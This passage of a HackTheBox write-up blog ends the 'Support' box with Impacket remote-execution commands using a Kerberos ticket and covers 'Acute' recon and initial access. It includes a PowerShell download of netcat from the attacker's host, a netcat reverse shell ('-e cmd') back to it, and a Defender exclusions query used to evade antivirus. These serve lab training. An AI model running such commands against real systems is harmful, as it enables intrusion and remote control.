KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0750.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had clearly imported it, yet it still failed. I tried every command above and none of them worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0751.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This blog post gave me the answer: &lt;a class="link" href="https://github.com/fortra/impacket/issues/779" target="_blank" rel="noopener"&#10; &gt;https://github.com/fortra/impacket/issues/779&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0752.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every time I ran an Impacket script, I had to synchronize the clock first. I had already disabled local time synchronization, but it still behaved this way. Now that I had run into the issue, I would know how to solve it the next time it happened.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u support.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0753.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This was a really good box for broadening my skills. During the initial shell stage, I learned to identify the language an application was written in and then find the matching decompiler. It was just like Python and Java: once you use the appropriate decompiler, the code logic is understandable (I genuinely cannot make sense of IDA). This one was C#, and I found the right decompiler for it. I also learned how to run EXE files with Wine on Kali. I had kept getting errors when I first tried to configure it and simply ignored them, so I was glad I eventually got it working. Then there was LDAP: you need to inspect all of the information yourself, because something useful may be hidden in the info field.&lt;/p&gt;&#10;&lt;p&gt;I got stuck far too often during privilege escalation. BloodHound did not show me a direct relationship from the user to the group. Here I learned that the current user is not the only possible starting point; the user&amp;rsquo;s group can be one too. Resource-based constrained delegation itself was not a major problem, since there are plenty of tutorials online. The real obstacle was antivirus evasion. I could not find an antivirus-safe build of Rubeus.exe online. There was one for Mimikatz, but generating an ST with it seemed more complicated. The command I pieced together did not work, and Google did not turn up anyone using Mimikatz to generate an ST; everyone used Rubeus.exe. Fortunately, I eventually realized that since I had reached the last step—generating the ST—I could use Impacket instead. Ports 88 and 389 were open on the target, which made that possible. If they had been closed, I might have needed another approach. And I learned the most important lesson of all: when using Impacket tools, synchronize the clock first.&lt;/p&gt;&#10;&lt;p&gt;Overall, this was a pretty good box.&lt;/p&gt;&#10;&lt;h2 id="23acute"&gt;&lt;a href="#23acute" class="header-anchor"&gt;&lt;/a&gt;23.Acute&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0754.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0755.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0756.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there, but I&amp;rsquo;d run into this situation before, so I checked the certificate.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0757.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That gave me a domain name.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0758.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing, but HTTPS was accessible now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0759.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WhatWeb fingerprinted it as a .NET site.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whatweb https://atsserver.acute.local/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added asp and aspx to the extensions and started brute-forcing. At the same time, I used FFUF to brute-force subdomains and looked around for any endpoints on the site.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,js,html,asp,aspx -k -t 50 -u https://atsserver.acute.local/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://10.10.11.145 -H &amp;#34;Host: FUZZ.acute.local&amp;#34; --hc 404&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0760.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0761.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The brute-force scans didn&amp;rsquo;t give me much.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0762.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a file in the top-right corner. I downloaded it, and its creator was FCastle.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0763.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It mentioned a login URL.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0764.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also mentioned a default password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the end, it said Lois was the administrator—the only administrator.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0765.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, I felt I still hadn&amp;rsquo;t gathered everything, so I went back through it line by line and translated and reviewed everything again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0766.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;PSWA? I searched for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0767.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out to be a web-based PowerShell interface for running commands. What this seemed to mean was that new users could execute commands in the browser through PSWA. I already had the default password; now I needed the login page and a username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0768.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were several hyperlinks here. I checked them one by one, and they all pointed to &lt;a class="link" href="https://atsserver.acute.local/" target="_blank" rel="noopener"&#10; &gt;https://atsserver.acute.local/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0769.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://atsserver.acute.local/Acute_Staff_Access&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0770.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the login page. I still needed a username.&lt;/p&gt;&#10;&lt;p&gt;The directory brute-force scan seemed to have already given me the answer, because this was the only accessible file on the site. I&amp;rsquo;d noticed the same thing while browsing manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0771.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0772.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had usernames.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Aileen Wallace&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Charlotte Hall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Evan Davies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ieuan Monks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;oshua Morgan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Lois Hopkins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Aileen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Wallace&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Charlotte&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Evan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Davies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ieuan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Monks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;oshua&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Morgan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Lois&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hopkins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FCastle&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0773.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The JavaScript was obfuscated. There weren&amp;rsquo;t many users anyway, so trying them manually was fine.&lt;/p&gt;&#10;&lt;p&gt;I tried every one of them, and none worked. The problem might have been here:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0774.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to the Word document to see whether it contained anything else, but it didn&amp;rsquo;t. There were a few scattered details, none of them important. I checked the website again and found nothing there either. Finally, I looked at the file metadata and found a hostname.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0775.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Acute-PC01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;edavies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I was in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0776.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no flag in the home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0777.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This wasn&amp;rsquo;t the domain controller. It was most likely a domain member, and WinRM was enabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0778.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current user had a home directory, but it wasn&amp;rsquo;t under the normal users. Strangely, I couldn&amp;rsquo;t find the current user in net user. Was the current user not a regular user?&lt;/p&gt;&#10;&lt;p&gt;There wasn&amp;rsquo;t much information, so I planned to upload winPEASany.exe and take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0779.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, I figured I&amp;rsquo;d pop a shell. Uploading it directly got it killed. Do these last few boxes actually expect AV evasion? I uploaded netcat and used it for a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/netcat.exe -OutFile .\netcat.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\netcat.exe 10.10.16.14 6666 -e cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0780.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got it.&lt;/p&gt;&#10;&lt;p&gt;I uploaded winPEAS.bat, but even the BAT version was killed. I had no idea how to proceed, so I checked the box description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0781.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no idea how I was supposed to discover JEA from anything other than the description, so I decided to read some write-ups and see how other people approached it.&lt;/p&gt;&#10;&lt;p&gt;They all mentioned a Utils directory containing a desktop.ini file.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://petri.com/microsoft-defender-exclusions-list-windows-10/" target="_blank" rel="noopener"&#10; &gt;https://petri.com/microsoft-defender-exclusions-list-windows-10/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog pointed out that attackers can read the Microsoft Defender exclusions list.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query &amp;#34;HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions&amp;#34; /s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0782.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;winPEASany also reported it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0783.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That made the logic click. The next time I run into antivirus, I can query the excluded directories this way.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0784.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You could actually see it here too: uploading winPEAS to this directory allowed it to be uploaded and executed. As usual, I focused on the red findings. I&amp;rsquo;ve written the information I collected below.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\edavies\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I worked through them one at a time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0785.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful. The write-up showed an entry under RDP Sessions, but mine didn&amp;rsquo;t have one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0786.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I also ran:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;qwinsta /server:127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;qwinsta session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0787.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Maybe I needed to restart, but that still didn&amp;rsquo;t work. OSCP allows Metasploit once, and every write-up used Metasploit for this step, which I never would have expected. The idea was this: Metasploit&amp;rsquo;s PowerShell session could see the RDP session above, and Metasploit can monitor the desktop. While monitoring it, you can see a script run and capture it. I never would have thought of that. No matter how I looked at it, it didn&amp;rsquo;t feel logical. When I get stuck, I often read one particular author&amp;rsquo;s write-ups, and he never uses Metasploit. I&amp;rsquo;d been reading his work for ages, and this was the first time I&amp;rsquo;d seen him use it. This was what he said:&lt;/p&gt;&#10;&lt;p&gt;&lt;img 